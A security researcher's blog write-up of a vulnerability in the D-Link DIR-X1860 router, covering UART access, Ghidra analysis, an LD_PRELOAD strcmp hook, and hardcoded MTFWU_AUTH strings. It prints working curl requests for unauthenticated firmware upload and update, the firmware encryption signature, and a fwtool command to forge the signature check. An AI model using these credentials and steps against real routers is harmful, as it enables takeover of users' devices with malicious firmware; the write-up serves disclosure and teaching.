Tale of an old write-up: hardcoded credentials to remote firmware update in consumer-grade router

Posted on Apr 15, 2023

In late 2021 I found a vulnerability in a consumer-grade router (D-Link’s DIR-X1860), but I never published the writeup, so I took it and modified it to make this blogpost. It describes some of the steps I went through in finding a hardcoded credentials in D-Link’s DIR-X1860, which combined with a DNS rebinding attack led to a remote firmware update vulnerability.

Initial access

After a lot of trial and error, I mananged to establish a serial connection to the device’s UART connector using a FT232H and a bit of soldering. For the speed 115200 was used:

$ sudo screen /dev/ttyUSB0 115200

Because I used to be a lousy note-taker, I do not remember how I changed the device’s password, but I did get in via the login prompt and manage to extract the files via SSH. dropbear didn’t start up automatically, but it could be started from the shell:

root@dlinkrouter:~# /usr/sbin/dropbear

Recon

After seeing that the device was running a custom version of OpenWrt, I went ahead and looked for vulnerabilities. The most obvious place was the HTTP server, which in the case of this device’s firmware was uhttpd. uhttpd describes its routes in its config file:

root@dlinkrouter:~# grep alias /etc/config/uhttpd
	list alias '/HNAP1=/cgi-bin/HNAP1'
	list alias '/dlcfg.cgi=/cgi-bin/HNAP1'
	list alias '/dlquickvpnsettings.cgi=/cgi-bin/HNAP1'
	list alias '/hnap=/cgi-bin/HNAP1'
	list alias '/MTFWU=/cgi-bin/MTFWU'

/cgi-bin/HNAP1 and /cgi-bin/MTFWU looked interesting, both paths were symlinks to binaries:

root@dlinkrouter:~# ls -al /www/cgi-bin | grep -E 'HNAP1|MTFWU'
lrwxrwxrwx    1 root     root            14 Aug 18  2020 HNAP1 -> /usr/sbin/hnap
lrwxrwxrwx    1 root     root            15 Aug 18  2020 MTFWU -> /usr/sbin/mtfwu

The file utility was not available on the device, so I extracted the files via scp to gather some more information.

$ file hnap
hnap: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header
$ file mtfwu
mtfwu: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header
$ checksec --file=hnap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No	0		0	hnap
$ checksec --file=mtfwu
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No	0		0	mtfwu

The binaries were poorly protected. Now the question was, which one of them to focus on. I checked how they were used by grepping for their name in the web content home directory:

root@dlinkrouter:~# grep HNAP1 -r -l /www | wc -l
174
root@dlinkrouter:~# grep hnap -r -l /www | wc -l
16
root@dlinkrouter:~# grep MTFWU -r -l /www | wc -l
1

HNAP1 was the main communication point between the admin panel and the device, and the internet showed previous vulnerabilities for D-Link devices exposing it, but the MTFWU binary was not used at all, even though it was exposed, so it looked like a forgotten artifact, making for an interesting target:

// only one match in the web home directory, and it's the binary itself
root@dlinkrouter:~# grep MTFWU -r -l /www
/www/cgi-bin/MTFWU

Towards a vulnerability

I fired up Ghidra, imported mtfwu and started digging into the code. From the decompiler output, it was clear immediately that the binary received its input from environment variables:

#  __libc_start_main(0x401771,*(undefined4 *)register0x00000074,
#                    (undefined4 *)((int)register0x00000074 + 4),_init,_fini,0);
#
# contents at `0x401771`
// ...output trimmed
  getenv("REQUEST_METHOD");
  pcVar1 = getenv("HTTP_MTFWU_ACT");
  getenv("HTTP_SOAPACTION");
  pcVar2 = getenv("HTTP_MTFWU_AUTH");
  getenv("HTTP_HNAP_AUTH");
  pcVar3 = getenv("HTTP_COOKIE");
  pcVar4 = getenv("HTTP_REFERER");
  getenv("CONTENT_TYPE");
  getenv("CONTENT_LENGTH");
// ...output trimmed

Which meant that the most probable way the binary interacted with the outside world was invocations by uhttpd with the values for the environment varibles set by it. To confirm, I wrote a simple C program printenv.c which printed out all its environment variables, in order to expose it to httpd, just like mtfwu and hnap:

// writes the environment variables the program was called with to /tmp/log.txt
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[], char **envp)
{
  FILE *logf;
  logf = fopen("/tmp/log.txt", "a+");

  for (char **env = envp; *env != 0; env++) {
    char *thisEnv = *env;
    fprintf(logf, "%s\n", thisEnv);
  }
  fprintf(logf, "----------------------\n");

  fclose(logf);

  return 0;
}

There was no gcc installed on the device, and I didn’t want to use qemu, so I got the package files from the OpenWRT download page https://downloads.openwrt.org/ases/packages-18.06/mipsel_mips32/, copied them over via scp, and installed them to /tmp because that was the only partition with enough space on it:

root@dlinkrouter:~# df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root                11.5M     11.5M         0 100% /rom
tmpfs                   120.6M     27.0M     93.6M  22% /tmp
/dev/mtdblock7           28.4M      5.0M     23.4M  18% /overlay
overlayfs:/overlay       28.4M      5.0M     23.4M  18% /
tmpfs                   512.0K         0    512.0K   0% /dev
/dev/mtdblock8            8.0M    564.0K      7.4M   7% /mnt/mtd8
/dev/mtdblock8            8.0M    564.0K      7.4M   7% /etc/config/devdata
/dev/mtdblock8            8.0M    564.0K      7.4M   7% /mydlink/cert

opkg has a destination option which installs packages in a directory, and the /tmp folder already had an entry:

root@dlinkrouter:~# grep ^dest /etc/opkg.conf
   92 dest root /
   93 dest ram /tmp
   94 dest mine /tmp/mypkg

That meant that all I needed to do is copy the packages needed for gcc via scp:

$ scp ar_2.27-1_mipsel_24kc.ipk binutils_2.27-1_mipsel_24kc.ipk gcc_5.4.0-3_mipsel_24kc.ipk router:/tmp
root@192.168.0.1's password:
ar_2.27-1_mipsel_24kc.ipk  100%   26KB   2.6MB/s   00:00
binutils_2.27-1_mipsel_24kc.ipk 100% 1061KB   3.9MB/s   00:00
gcc_5.4.0-3_mipsel_24kc.ipk  75%   19MB   3.9MB/s   00:gcc 100%   26MB   3.9MB/s   00:06

Install them:

root@dlinkrouter:~# opkg install /tmp/ar_2.27-1_mipsel_24kc.ipk -d ram
Installing ar (2.27-1) to ram...
Configuring ar.
root@dlinkrouter:~# opkg install /tmp/binutils_2.27-1_mipsel_24kc.ipk -d ram
Installing binutils (2.27-1) to ram...
Configuring binutils.
root@dlinkrouter:~# opkg install /tmp/gcc_5.4.0-3_mipsel_24kc.ipk -d ram
Installing gcc (5.4.0-3) to ram...

Add gcc to the PATH:

root@dlinkrouter:~# export PATH="$PATH:/tmp/usr/bin/"
root@dlinkrouter:~# which gcc
/tmp/usr/bin/gcc

And finally compile the printenv.c program

root@dlinkrouter:~# gcc printenv.c -o printenv -I/tmp/usr/include
root@dlinkrouter:~# MY_ENV="1337" ./printenv
root@dlinkrouter:~# cat /tmp/log.txt
SSH_CLIENT=192.168.0.120 49806 22
USER=root
SHLVL=1
HOME=/root
SSH_TTY=/dev/pts/0
MY_ENV=1337
PS1=\u@\h:\w\$
LOGNAME=root
TERM=xterm-256color
PATH=/usr/sbin:/usr/bin:/sbin:/bin:/tmp/usr/bin/
SHELL=/bin/ash
PWD=/root
SSH_CONNECTION=192.168.0.120 49806 192.168.0.1 22
----------------------

Afterwards, to test my assumption that environment variables for mtfwu invocations were set by uhttpd, I copied the printenv binary to /www/cgi-bin/printenv, added an alias in the uhttpd config to expose the binary list alias '/printenv=/cgi-bin/printenv', restarted the service, and then curled the endpoint:

root@dlinkrouter:~# vim /etc/config/uhttpd # add the alias
root@dlinkrouter:~# cp printenv /www/cgi-bin/
root@dlinkrouter:~# service uhttpd restart
root@dlinkrouter:~# curl localhost/printenv

Which gave the following entry in the /tmp/log.txt file:

// /tmp/log.txt
// ...output trimmed
PATH=/sbin:/usr/sbin:/bin:/usr/bin
HTTP_ACCEPT=*/*
HTTP_HOST=192.168.0.1
HTTP_USER_AGENT=curl/7.74.0
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=uhttpd
SCRIPT_NAME=/cgi-bin/printenv
SCRIPT_FILENAME=/www/cgi-bin/printenv
DOCUMENT_ROOT=/www
QUERY_STRING=
REQUEST_URI=/printenv
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
PATH_INFO=/printenv
REDIRECT_STATUS=200
SERVER_NAME=192.168.0.1
SERVER_ADDR=192.168.0.1
SERVER_PORT=80
REMOTE_HOST=192.168.0.120
REMOTE_ADDR=192.168.0.120
REMOTE_PORT=43924
----------------------

With that, I determined that the ENV variables were set by uhttpd when the mtfwu binary was invoked. The next step was to find interesting execution paths. Back in Ghidra, I saw that the HTTP_MTFWU_ACT environment variable was critical in triggering actions on the device, and that the only other variables used were HTTP_MTFWU_ACT, HTTP_COOKIE and HTTP_REFERER.

// ...output omitted
pcVar1 = getenv("HTTP_MTFWU_ACT");
// ...output omitted
pcVar2 = getenv("HTTP_MTFWU_AUTH");
// ...output omitted
pcVar3 = getenv("HTTP_COOKIE");
pcVar4 = getenv("HTTP_REFERER");
// ...output omitted
iVar5 = strcmp(pcVar1,"FWUpload");
// ...output omitted
iVar5 = strcmp(pcVar1,"Login");
// ...output omitted
iVar5 = FUN_004088f0(pcVar3,pcVar2,pcVar1);
// ...output omitted
  iVar5 = strcmp(pcVar1,"Reboot");
// ...output omitted
    iVar5 = strcmp(pcVar1,"FactoryDefault");
// ...output omitted
      iVar5 = strcmp(pcVar1,"GetDevInfo");
// ...output omitted
        iVar5 = strcmp(pcVar1,"MTFWUActSupportList");
// ...output omitted
        iVar5 = strcmp(pcVar1,"FWUpdate");

Checking the code further, I saw that the FWUpload and FWUpdate actions were protected by a function (FUN_004088f0) which checked for HTTP_MTFWU_ACT, HTTP_MTFWU_AUTH and HTTP_COOKIE.

Image of hardcoded credentials vuln

At this point, it seemed to make sense to understand the function which looked like an authentication mechanism (i.e. FUN_004088f0), so I checked what was strcmped and noticed that there weren’t too many spots to understand. So I reached to the old LD_PRELOAD method in which C standard library functions can be overwritten and wrote my own version of strcmp:

#include <stdio.h>
#include <unistd.h>

int strcmp(const char *X, const char *Y) {
    while(*X) {
        if (*X != *Y)
            break;
        X++;
        Y++;
    }
    int result = *(const unsigned char*)X - *(const unsigned char*)Y;
    printf("strcmp(\"%s\", \"%s\") -> %d\n", X, Y, result);
    return result;
}

Compiled it into a shared library:

root@dlinkrouter:~# gcc preload_strcmp.c -o preload_strcmp.so -fPIC -shared -I/tmp/usr/include

After which I used it to invoke mtfwu:

root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="GetDevInfo" HTTP_MTFWU_AUTH="1234" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu
strcmp("GetDevInfo", "FWUpload") -> 1
strcmp("", "") -> 0
strcmp("GetDevInfo", "Login") -> -5
strcmp("strobj.c", "xstream.c") -> -5
strcmp("", "") -> 0
strcmp("", "") -> 0
strcmp("", "") -> 0
strcmp("1234", "2DD52F75FCBC24849445C4F56099351F") -> -1
HTTP/1.1 301 Moved Permanently
Location: (null)

The line comparing 1234 with a long random-looking string looked interesting. An open question was: what happens if a value for HTTP_MTFWU_AUTH is set to the magic string 2DD52F75FCBC24849445C4F56099351F? The answer was that XML was printed to stdout:

root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="GetDevInfo" HTTP_MTFWU_AUTH="2DD52F75FCBC24849445C4F56099351F" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu | tail -24
strcmp("", "") -> 0
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="utf-8"?>
	<Device_Information>
		<Firmware_External_Version>V</Firmware_External_Version>
		<Firmware_Internal_Version>V</Firmware_Internal_Version>
		<Model_Name>DIR-X1860</Model_Name>
		<Hardware_Version>A1</Hardware_Version>
		<Country_Code>EU</Country_Code>
		<Language></Language>
		<LAN_MAC>c4:e9:0a:1d:ce:0c</LAN_MAC>
		<WAN_MAC>c4:e9:0a:1d:ce:0d</WAN_MAC>
		<LAN_MAC_2.4G>c4:e9:0a:1d:ce:0e</LAN_MAC_2.4G>
		<LAN_MAC_5G>c4:e9:0a:1d:ce:10</LAN_MAC_5G>
		<LAN_MAC_5G_Low>c4:e9:0a:1d:ce:10</LAN_MAC_5G_Low>
		<LAN_MAC_5G_High></LAN_MAC_5G_High>
		<SSID_2.4G>dlink-CE0C</SSID_2.4G>
		<SSID_5G>dlink-CE0C-5GHz</SSID_5G>
		<SSID_5G_Low>dlink-CE0C-5GHz</SSID_5G_Low>
		<SSID_5G_High></SSID_5G_High>
		<Reboot_Time>120</Reboot_Time>
		<Factory_default_Flag>FALSE</Factory_default_Flag>
	</Device_Information>

Now I got the idea to see if FWUpload and FWUpdate had their own magic strings, which they did:

root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="FWUpload" HTTP_MTFWU_AUTH="1234" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu | grep 1234
strcmp("1234", "9BA77AB05965C810F9D18A6772765BCD") -> -8
root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="FWUpdate" HTTP_MTFWU_AUTH="1234" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu | grep 1234
strcmp("1234", "F7A51EB8D26CD2E051E7CB5D8B3BAA5B") -> -21

Doing the same check via the exposed HTTP routes confirmed that the magic strings unlocked functionality:

$ curl -H'MTFWU_ACT: GetDevInfo' -H'MTFWU_AUTH: 2DD52F75FCBC24849445C4F56099351F' -H'COOKIE: uid=1337' 192.168.0.1/MTFWU | grep Model
		<Model_Name>DIR-X1860</Model_Name>

Which meant that an HTTP request with FWUpload and its magic string allowed to upload a firmware file:

$ curl -v -H'MTFWU_ACT: FWUpload' -H'MTFWU_AUTH: 9BA77AB05965C810F9D18A6772765BCD' -H'COOKIE: uid=1234' 192.168.0.1/MTFWU -F'data=@firmware.bin'
<?xml version='1.0' encoding='utf-8'?>
<MTFWUResponse>
	<result>OK</result>
	<message></message>
</MTFWUResponse>

And that FWUpdate with its magic string allowed to upgrade the device to the firmware uploaded previously:

$ curl -H'MTFWU_ACT: FWUpdate' -H'MTFWU_AUTH: F7A51EB8D26CD2E051E7CB5D8B3BAA5B' -H'COOKIE: uid=1234' 192.168.0.1/MTFWU
<?xml version='1.0' encoding='utf-8'?>
<MTFWUResponse>
	<result>OK</result>
	<message></message>
</MTFWUResponse>

There were three open questions left. One, did these magic authentication strings change whenever the user changes the device password? The answer was no, they did not, I found no way to trigger an action which changes these magic strings via the web interface. Two, were these magic strings device specific? The answer again was no, I purchased a second identical device for testing and the strings worked as well. And third, was there any type of integrity check done on the firmware file, or was it possible to upgrade to a modified version? To answer this question, I turn back to our decompiled mtfwu binary.

Part of the logic inside the function handling the FWUpgrade action looked like so:

// `/tmp/firmware.seama` is where the firmware file lands after `FWUpdate`
  iVar5 = access("/tmp/firmware.seama",0);
  if (iVar5 == 0) {
    FUN_00403f34(iVar4,"%s","runtime.device.fw_sign");
    iVar5 = FUN_0040220c(iVar4);
    if (iVar5 == 1) {
      FUN_00402190(iVar2,"ERROR");
      pcVar7 = "ERROR_NoDeviceSignature";
    }
    else {
      memset(acStack2068,0,0x400);
      uVar6 = FUN_00401ff0(iVar4);
      FUN_00401ae0(acStack2068,0x400,"encimg -i %s -s %s -d -p 2> /dev/null; echo $?",
                   "/tmp/firmware.seama",uVar6);
      iVar5 = strcmp(acStack2068,"0");
      if (iVar5 == 0) {
        memset(acStack1044,0,0x400);
        FUN_00401ae0(acStack1044,0x400,"sh /etc/scripts/fw_check.sh %s","/tmp/firmware.seama",uVar6)
        ;
        iVar5 = strcmp(acStack1044,"0");

The important bits were the calls to encimg and fw_check.sh. From the help message of the encimg tool, I could infer that encimg handles the encrytion and decryption of the firmware:

root@dlinkrouter:~# encimg
No signature specified!
Usage: encimg {OPTIONS}
   -h                      : show this message.
   -v                      : Verbose mode.
   -i {input image file}   : input image file.
   -o {output image file}  : output image file.
   -e                      : encode file.
   -d                      : decode file.
   -s                      : signature.

With a bit of looking around, I found the so-called signature:

root@dlinkrouter:~# cat /rom/etc/alpha/fw_sign
wrgax10_dlink_dirx1860

And I tested that it works by downloading a firmware file from D-Link’s homepage and checking the shasums before and after running them through encimg. One important detail was the encryption and decryption happened in-place, which meant that the input file changed after execution:

root@dlinkrouter:~# sha256sum /tmp/myfirmware.bin
47c7aff5795c33f33307ae85b90628a49dd0d31334a5a6eb81a3acd00218bd28
root@dlinkrouter:~# encimg -i /tmp/myfirmware.bin -s wrgax10_dlink_dirx1860 -d -p
root@dlinkrouter:~# encimg -i /tmp/myfirmware.bin -s wrgax10_dlink_dirx1860 -e -p
root@dlinkrouter:~# sha256sum /tmp/myfirmware.bin
47c7aff5795c33f33307ae85b90628a49dd0d31334a5a6eb81a3acd00218bd28

Having a reliable way of decrypting and encrypting firmware images was good, but there still was fw_check.sh to worry about. It turned out that it was a poorly implemented firmware signature check:

root@dlinkrouter:~# cat /etc/scripts/fw_check.sh
#Check signature and checksum of upload firmware
#If checksum of upload firmware is wrong, the action "fwtool -q -i ..." would fail.
. /usr/share/libubox/jshn.sh
if ! fwtool -q -i /tmp/sysupgrade.meta "$1"; then
	echo -1
else
	json_load "$(cat /tmp/sysupgrade.meta)"
	json_select alpha
	json_get_var upload_fw_sign fw_sign
	echo "$upload_fw_sign" > /var/run/upload_fw_sign

	curr_fw_sign="`cat /rom/etc/alpha/fw_sign`"
	if [ "$upload_fw_sign" == "$curr_fw_sign" ]; then
		echo 0
	else
		echo -2
	fi

To “sign” a firmware, it sufficed to use fwtool to attach a JSON file which contained the key "alpha" with the correct value for "fw_sign":

$ echo '{"metadata_version": "1.0", "supported_devices":["abc","xyz"], "version": { "dist": "OpenWrt", "version": "SNAPSHOT", "revision
   ": "r11618-416d2cc71e", "target": "TARGET/SUBTARGET", "board": "xyz"}, "alpha": {"fw_sign": "wrgax10_dlink_dirx1860"}}' > /tmp/firmware.seama
$ fwtool -i /tmp/firmware.seama /tmp/fw103a.zip

With that, I had a way to update the device’s firmware with a modified one using two HTTP requests. A colleague suggested I try out a DNS rebinding attack, which also worked making this a remote vulnerability.

Afterthoughts

Don’t be stupid, take extensive notes!

Hunting for bugs is an emotional rollercoaster.

Giving a talk at a conference for a bug you found is an amazing experience.

Shoutouts

  • Fabs: for encouragement and guidance
  • Bernhard: for the idea of trying out a DNS rebinding attack
  • Niko: for the idea of focusing on IoT as initial targets
  • Alex Denisov: for helping me get into security
  • Tester: for helping me get into security